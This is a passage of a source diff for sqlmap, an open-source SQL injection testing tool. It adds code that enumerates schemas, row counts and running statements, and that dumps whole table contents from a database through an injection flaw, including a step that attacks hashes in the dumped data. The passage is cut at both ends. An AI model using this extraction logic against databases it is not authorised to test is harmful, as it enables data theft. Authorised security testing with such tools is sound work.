unsafeSQLIdentificatorNaming(conf.db)) + query += condQuery + field = None + elif Backend.isDbms(DBMS.H2): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) + query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) + field = None + elif Backend.isDbms(DBMS.MIMERSQL): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) + field = None + elif Backend.isDbms(DBMS.SNOWFLAKE): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + field = None + elif Backend.getIdentifiedDbms() in (DBMS.MONETDB, DBMS.CLICKHOUSE): + query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) + field = None + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) + query += condQuery + field = None + elif Backend.isDbms(DBMS.MSSQL): + query = rootQuery.blind.query.replace("'%s'", "'%s'" % unsafeSQLIdentificatorNaming(tbl).split(".")[-1]).replace("%s", conf.db).replace("%d", str(index)) + query += condQuery.replace("[DB]", conf.db) + field = condition.replace("[DB]", conf.db) + elif Backend.isDbms(DBMS.FIREBIRD): + query = rootQuery.blind.query % unsafeSQLIdentificatorNaming(tbl) + query += condQuery + field = None + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.blind.query % (index, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) + query += condQuery + field = condition + + query = agent.limitQuery(index, query, field, field) + column = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if not isNoneValue(column): + if conf.getComments: + _ = queries[Backend.getIdentifiedDbms()].column_comment + if hasattr(_, "query"): + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) + else: + query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) + + comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) + if not isNoneValue(comment): + infoMsg = "retrieved comment '%s' for column '%s'" % (comment, column) + logger.info(infoMsg) + else: + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get column comments" + singleTimeWarnMessage(warnMsg) + + if not onlyColNames: + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): + query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): + query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) + elif Backend.isDbms(DBMS.MSSQL): + query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) + elif Backend.isDbms(DBMS.FIREBIRD): + query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column) + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl), column) + elif Backend.isDbms(DBMS.MONETDB): + query = rootQuery.blind.query2 % (column, unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) + + colType = unArrayizeValue(inject.getValue(query, union=False, error=False)) + key = int(colType) if hasattr(colType, "isdigit") and colType.isdigit() else colType + + if Backend.isDbms(DBMS.FIREBIRD): + colType = FIREBIRD_TYPES.get(key, colType) + elif Backend.isDbms(DBMS.INFORMIX): + notNull = False + if isinstance(key, int) and key > 255: + key -= 256 + notNull = True + colType = INFORMIX_TYPES.get(key, colType) + if notNull: + colType = "%s NOT NULL" % colType + + column = safeSQLIdentificatorNaming(column) + columns[column] = colType + else: + column = safeSQLIdentificatorNaming(column) + columns[column] = None + + if columns: + if conf.db in kb.data.cachedColumns: + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns + else: + table[safeSQLIdentificatorNaming(tbl, True)] = columns + kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table + + if not kb.data.cachedColumns: + warnMsg = "unable to retrieve column names for " + warnMsg += ("table '%s' " % unsafeSQLIdentificatorNaming(unArrayizeValue(tblList))) if len(tblList) == 1 else "any table " + if METADB_SUFFIX not in conf.db: + warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.warning(warnMsg) + + if bruteForce is None: + return self.getColumns(onlyColNames=onlyColNames, colTuple=colTuple, bruteForce=True) + + return kb.data.cachedColumns + + @stackedmethod + def getSchema(self): + infoMsg = "enumerating database management system schema" + logger.info(infoMsg) + + try: + pushValue(conf.db) + pushValue(conf.tbl) + pushValue(conf.col) + + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + + self.getTables() + + infoMsg = "fetched tables: " + infoMsg += ", ".join(["%s" % ", ".join("'%s%s%s'" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) if db else "'%s'" % unsafeSQLIdentificatorNaming(_) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) + logger.info(infoMsg) + + for db, tables in kb.data.cachedTables.items(): + for tbl in tables: + conf.db = db + conf.tbl = tbl + + self.getColumns() + finally: + conf.col = popValue() + conf.tbl = popValue() + conf.db = popValue() + + return kb.data.cachedColumns + + def _tableGetCount(self, db, table): + if not db or not table: + return None + + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + db = db.upper() + table = table.upper() + + if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB): + query = "SELECT %s FROM %s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(table, True)) + else: + query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True)) + + query = agent.whereQuery(query) + count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if isNumPosStrValue(count): + if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts: + kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {} + + if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]: + kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append(safeSQLIdentificatorNaming(table, True)) + else: + kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [safeSQLIdentificatorNaming(table, True)] + + def getCount(self): + if not conf.tbl: + warnMsg = "missing table parameter, sqlmap will retrieve " + warnMsg += "the number of entries for all database " + warnMsg += "management system databases' tables" + logger.warning(warnMsg) + + elif "." in conf.tbl: + if not conf.db: + conf.db, conf.tbl = conf.tbl.split('.', 1) + + if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB): + warnMsg = "missing database parameter. sqlmap is going to " + warnMsg += "use the current database to retrieve the " + warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl) + logger.warning(warnMsg) + + conf.db = self.getCurrentDb() + + self.forceDbmsEnum() + + if conf.tbl: + for table in conf.tbl.split(','): + self._tableGetCount(conf.db, table) + else: + self.getTables() + + for db, tables in kb.data.cachedTables.items(): + for table in tables: + self._tableGetCount(db, table) + + return kb.data.cachedCounts + + def getStatements(self): + infoMsg = "fetching SQL statements" + logger.info(infoMsg) + + rootQuery = queries[Backend.getIdentifiedDbms()].statements + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = rootQuery.inband.query2 + else: + query = rootQuery.inband.query + + while True: + values = inject.getValue(query, blind=False, time=False) + + if not isNoneValue(values): + kb.data.cachedStatements = [] + for value in arrayizeValue(values): + value = (unArrayizeValue(value) or "").strip() + if not isNoneValue(value): + kb.data.cachedStatements.append(value.strip()) + + elif Backend.isDbms(DBMS.PGSQL) and "current_query" not in query: + query = query.replace("query", "current_query") + continue + + break + + if not kb.data.cachedStatements and isInferenceAvailable() and not conf.direct: + infoMsg = "fetching number of statements" + logger.info(infoMsg) + + query = rootQuery.blind.count + + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = re.sub("INFORMATION_SCHEMA", "DATA_DICTIONARY", query, flags=re.I) + + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + if count == 0: + return kb.data.cachedStatements + elif not isNumPosStrValue(count): + errMsg = "unable to retrieve the number of statements" + raise SqlmapNoneDataException(errMsg) + + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES + indexRange = getLimitRange(count, plusOne=plusOne) + + for index in indexRange: + value = None + + if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # case with multiple processes + query = rootQuery.blind.query3 % index + identifier = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) + + if not isNoneValue(identifier): + query = rootQuery.blind.query2 % identifier + value = unArrayizeValue(inject.getValue(query, union=False, error=False, expected=EXPECTED.INT)) + + if isNoneValue(value): + query = rootQuery.blind.query % index + + if Backend.isDbms(DBMS.MYSQL) and Backend.isFork(FORK.DRIZZLE): + query = re.sub("INFORMATION_SCHEMA", "DATA_DICTIONARY", query, flags=re.I) + + value = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if not isNoneValue(value): + kb.data.cachedStatements.append(value) + + if not kb.data.cachedStatements: + errMsg = "unable to retrieve the statements" + logger.error(errMsg) + else: + kb.data.cachedStatements = [_.replace(REFLECTED_VALUE_MARKER, "<payload>") for _ in kb.data.cachedStatements] + + return kb.data.cachedStatements diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py new file mode 100644 index 00000000000..cf1e3cd94e9 --- /dev/null +++ b/plugins/generic/entries.py @@ -0,0 +1,646 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.agent import agent +from lib.core.bigarray import BigArray +from lib.core.common import Backend +from lib.core.common import clearConsoleLine +from lib.core.common import getLimitRange +from lib.core.common import getSafeExString +from lib.core.common import isInferenceAvailable +from lib.core.common import isListLike +from lib.core.common import isNoneValue +from lib.core.common import isNumPosStrValue +from lib.core.common import isTechniqueAvailable +from lib.core.common import prioritySortColumns +from lib.core.common import readInput +from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import singleTimeLogMessage +from lib.core.common import singleTimeWarnMessage +from lib.core.common import unArrayizeValue +from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.convert import getConsoleLength +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.dicts import DUMP_REPLACEMENTS +from lib.core.enums import CHARSET_TYPE +from lib.core.enums import DBMS +from lib.core.enums import EXPECTED +from lib.core.enums import PAYLOAD +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD +from lib.core.settings import CURRENT_DB +from lib.core.settings import METADB_SUFFIX +from lib.core.settings import NULL +from lib.core.settings import PLUS_ONE_DBMSES +from lib.core.settings import UPPER_CASE_DBMSES +from lib.request import inject +from lib.utils.hash import attackDumpedTable +from lib.utils.pivotdumptable import pivotDumpTable +from thirdparty import six +from thirdparty.six.moves import zip as _zip + +class Entries(object): + """ + This class defines entries' enumeration functionalities for plugins. + """ + + def __init__(self): + pass + + def dumpTable(self, foundData=None): + self.forceDbmsEnum() + + if conf.db is None or conf.db == CURRENT_DB: + if conf.db is None: + warnMsg = "missing database parameter. sqlmap is going " + warnMsg += "to use the current database to enumerate " + warnMsg += "table(s) entries" + logger.warning(warnMsg) + + conf.db = self.getCurrentDb() + + elif conf.db is not None: + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + conf.db = conf.db.upper() + + if ',' in conf.db: + errMsg = "only one database name is allowed when enumerating " + errMsg += "the tables' columns" + raise SqlmapMissingMandatoryOptionException(errMsg) + + if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None: + infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + singleTimeLogMessage(infoMsg) + return + + conf.db = safeSQLIdentificatorNaming(conf.db) or "" + + if conf.tbl: + if Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: + conf.tbl = conf.tbl.upper() + + tblList = conf.tbl.split(',') + else: + self.getTables() + + if len(kb.data.cachedTables) > 0: + tblList = list(six.itervalues(kb.data.cachedTables)) + + if tblList and isListLike(tblList[0]): + tblList = tblList[0] + elif conf.db and not conf.search: + errMsg = "unable to retrieve the tables " + errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + raise SqlmapNoneDataException(errMsg) + else: + return + + for tbl in tblList: + tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) + + for tbl in tblList: + if kb.dumpKeyboardInterrupt: + break + + if conf.exclude and re.search(conf.exclude, unsafeSQLIdentificatorNaming(tbl), re.I) is not None: + infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) + singleTimeLogMessage(infoMsg) + continue + + conf.tbl = tbl + kb.data.dumpedTable = {} + + if foundData is None: + kb.data.cachedColumns = {} + self.getColumns(onlyColNames=True, dumpMode=True) + else: + kb.data.cachedColumns = foundData + + try: + if Backend.isDbms(DBMS.INFORMIX): + kb.dumpTable = "%s:%s" % (conf.db, tbl) + elif Backend.isDbms(DBMS.SQLITE): + kb.dumpTable = tbl + elif METADB_SUFFIX.upper() in conf.db.upper(): + kb.dumpTable = tbl + else: + kb.dumpTable = "%s.%s" % (conf.db, tbl) + + if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: + warnMsg = "unable to enumerate the columns for table '%s'" % unsafeSQLIdentificatorNaming(tbl) + if METADB_SUFFIX.upper() not in conf.db.upper(): + warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + warnMsg += ", skipping" if len(tblList) > 1 else "" + logger.warning(warnMsg) + + continue + + columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] + colList = sorted(column for column in columns if column) + + if conf.exclude: + colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] + + if not colList: + warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) + if METADB_SUFFIX.upper() not in conf.db.upper(): + warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + warnMsg += " (no usable column names)" + logger.warning(warnMsg) + continue + + kb.dumpColumns = [unsafeSQLIdentificatorNaming(_) for _ in colList] + colNames = colString = ','.join(column for column in colList) + rootQuery = queries[Backend.getIdentifiedDbms()].dump_table + + infoMsg = "fetching entries" + if conf.col: + infoMsg += " of column(s) '%s'" % colNames + infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl) + if METADB_SUFFIX.upper() not in conf.db.upper(): + infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.info(infoMsg) + + for column in colList: + _ = agent.preprocessField(tbl, column) + if _ != column: + colString = re.sub(r"\b%s\b" % re.escape(column), _.replace("\\", r"\\"), colString) + + entriesCount = 0 + + if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + entries = [] + query = None + + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): + query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA, DBMS.SNOWFLAKE): + query = rootQuery.inband.query % (colString, tbl) + elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): + # Partial inband and error + if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL): + table = "%s.%s" % (conf.db, tbl) if conf.db else tbl + + if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting: + warnMsg = "in case of table dumping problems (e.g. column entry order) " + warnMsg += "you are advised to rerun with '--force-pivoting'" + singleTimeWarnMessage(warnMsg) + + query = rootQuery.blind.count % table + query = agent.whereQuery(query) + + count = inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + if isNumPosStrValue(count): + try: + indexRange = getLimitRange(count, plusOne=True) + + for index in indexRange: + row = [] + for column in colList: + query = rootQuery.blind.query3 % (column, column, table, index) + query = agent.whereQuery(query) + value = inject.getValue(query, blind=False, time=False, dump=True) or "" + row.append(value) + + if not entries and isNoneValue(row): + break + + entries.append(row) + + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + + if isNoneValue(entries) and not kb.dumpKeyboardInterrupt: + try: + retVal = pivotDumpTable(table, colList, blind=False) + except KeyboardInterrupt: + retVal = None + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + + if retVal: + entries, _ = retVal + entries = BigArray(_zip(*[entries[colName] for colName in colList])) + else: + query = rootQuery.inband.query % (colString, conf.db, tbl) + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): + query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) + else: + query = rootQuery.inband.query % (colString, conf.db, tbl) + + query = agent.whereQuery(query) + + if not entries and query and not kb.dumpKeyboardInterrupt: + try: + entries = inject.getValue(query, blind=False, time=False, dump=True) + except KeyboardInterrupt: + entries = None + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + + if not isNoneValue(entries): + if isinstance(entries, six.string_types): + entries = [entries] + elif not isListLike(entries): + entries = [] + + entriesCount = len(entries) + + for index, column in enumerate(colList): + if column not in kb.data.dumpedTable: + kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()} + + for entry in entries: + if entry is None or len(entry) == 0: + continue + + if isinstance(entry, six.string_types): + colEntry = entry + else: + colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u'' + + maxLen = max(getConsoleLength(column), getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry)))) + + if maxLen > kb.data.dumpedTable[column]["length"]: + kb.data.dumpedTable[column]["length"] = maxLen + + kb.data.dumpedTable[column]["values"].append(colEntry) + + if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct: + infoMsg = "fetching number of " + if conf.col: + infoMsg += "column(s) '%s' " % colNames + infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) + infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.info(infoMsg) + + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.SNOWFLAKE): + query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.MAXDB, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): + query = rootQuery.blind.count % tbl + elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): + query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) if conf.db else tbl + elif Backend.isDbms(DBMS.INFORMIX): + query = rootQuery.blind.count % (conf.db, tbl) + else: + query = rootQuery.blind.count % (conf.db, tbl) + + query = agent.whereQuery(query) + + count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + + lengths = {} + entries = {} + + if count == 0: + warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl) + warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db) + warnMsg += "appears to be empty" + logger.warning(warnMsg) + + for column in colList: + lengths[column] = len(column) + entries[column] = [] + + elif not isNumPosStrValue(count): + warnMsg = "unable to retrieve the number of " + if conf.col: + warnMsg += "column(s) '%s' " % colNames + warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) + warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) + logger.warning(warnMsg) + + continue + + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI, DBMS.RAIMA): + if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.RAIMA): + table = tbl + elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL, DBMS.MAXDB): + table = "%s.%s" % (conf.db, tbl) if conf.db else tbl + elif Backend.isDbms(DBMS.INFORMIX): + table = "%s:%s" % (conf.db, tbl) if conf.db else tbl + + if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting: + warnMsg = "in case of table dumping problems (e.g. column entry order) " + warnMsg += "you are advised to rerun with '--force-pivoting'" + singleTimeWarnMessage(warnMsg) + + try: + indexRange = getLimitRange(count, plusOne=True) + + for index in indexRange: + for column in colList: + query = rootQuery.blind.query3 % (column, column, table, index) + query = agent.whereQuery(query) + + value = inject.getValue(query, union=False, error=False, dump=True) or "" + + if column not in lengths: + lengths[column] = 0 + + if column not in entries: + entries[column] = BigArray() + + lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) + + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + + if not entries and not kb.dumpKeyboardInterrupt: + try: + retVal = pivotDumpTable(table, colList, count, blind=True) + except KeyboardInterrupt: + retVal = None + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + + if retVal: + entries, lengths = retVal + + else: + emptyColumns = [] + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES + indexRange = getLimitRange(count, plusOne=plusOne) + + if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: + debugMsg = "checking for empty columns" + logger.debug(infoMsg) + + for column in colList: + if not inject.checkBooleanExpression("(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)): + emptyColumns.append(column) + debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable) + debugMsg += "dumped as it appears to be empty" + logger.debug(debugMsg) + + try: + for index in indexRange: + for column in colList: + value = "" + + if column not in lengths: + lengths[column] = 0 + + if column not in entries: + entries[column] = BigArray() + + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) + elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) + elif Backend.isDbms(DBMS.FIREBIRD): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) + elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) + elif Backend.isDbms(DBMS.FRONTBASE): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl) + else: + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) + + query = agent.whereQuery(query) + + value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) + value = '' if value is None else value + + lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) + + except KeyboardInterrupt: + kb.dumpKeyboardInterrupt = True + clearConsoleLine() + warnMsg = "Ctrl+C detected in dumping phase" + logger.warning(warnMsg) + + for column, columnEntries in entries.items(): + length = max(lengths[column], len(column)) + + kb.data.dumpedTable[column] = {"length": length, "values": columnEntries} + + entriesCount = len(columnEntries) + + if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): + warnMsg = "unable to retrieve the entries " + if conf.col: + warnMsg += "of columns '%s' " % colNames + warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) + warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") + logger.warning(warnMsg) + else: + kb.data.dumpedTable["__infos__"] = {"count": entriesCount, + "table": safeSQLIdentificatorNaming(tbl, True), + "db": safeSQLIdentificatorNaming(conf.db)} + + if not conf.disableHashing: + try: + attackDumpedTable() + except (IOError, OSError) as ex: + errMsg = "an error occurred while attacking " + errMsg += "table dump ('%s')" % getSafeExString(ex) + logger.critical(errMsg) + + conf.dumper.dbTableValues(kb.data.dumpedTable) + + except SqlmapConnectionException as ex: + errMsg = "connection exception detected in dumping phase " + errMsg += "('%s')" % getSafeExString(ex) + logger.critical(errMsg) + + finally: + kb.dumpColumns = None + kb.dumpTable = None + + def dumpAll(self): + if conf.db is not None and conf.tbl is None: + self.dumpTable() + return + + if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: + errMsg = "information_schema not available, " + errMsg += "back-end DBMS is MySQL < 5.0" + raise SqlmapUnsupportedFeatureException(errMsg) + + infoMsg = "sqlmap will dump entries of all tables from all databases now" + logger.info(infoMsg) + + conf.tbl = None + conf.col = None + + self.getTables() + + if kb.data.cachedTables: + if isinstance(kb.data.cachedTables, list): + kb.data.cachedTables = {None: kb.data.cachedTables} + + for db, tables in kb.data.cachedTables.items(): + conf.db = db + + for table in tables: + if conf.exclude and re.search(conf.exclude, table, re.I) is not None: + infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table) + logger.info(infoMsg) + continue + + try: + conf.tbl = table + kb.data.cachedColumns = {} + kb.data.dumpedTable = {} + + self.dumpTable() + except SqlmapNoneDataException: + infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table) + logger.info(infoMsg) + + def dumpFoundColumn(self, dbs, foundCols, colConsider): + message = "do you want to dump found column(s) entries? [Y/n] " + + if not readInput(message, default='Y', boolean=True): + return + + dumpFromDbs = [] + message = "which database(s)?\n[a]ll (default)\n" + + for db, tblData in dbs.items(): + if tblData: + message += "[%s]\n" % 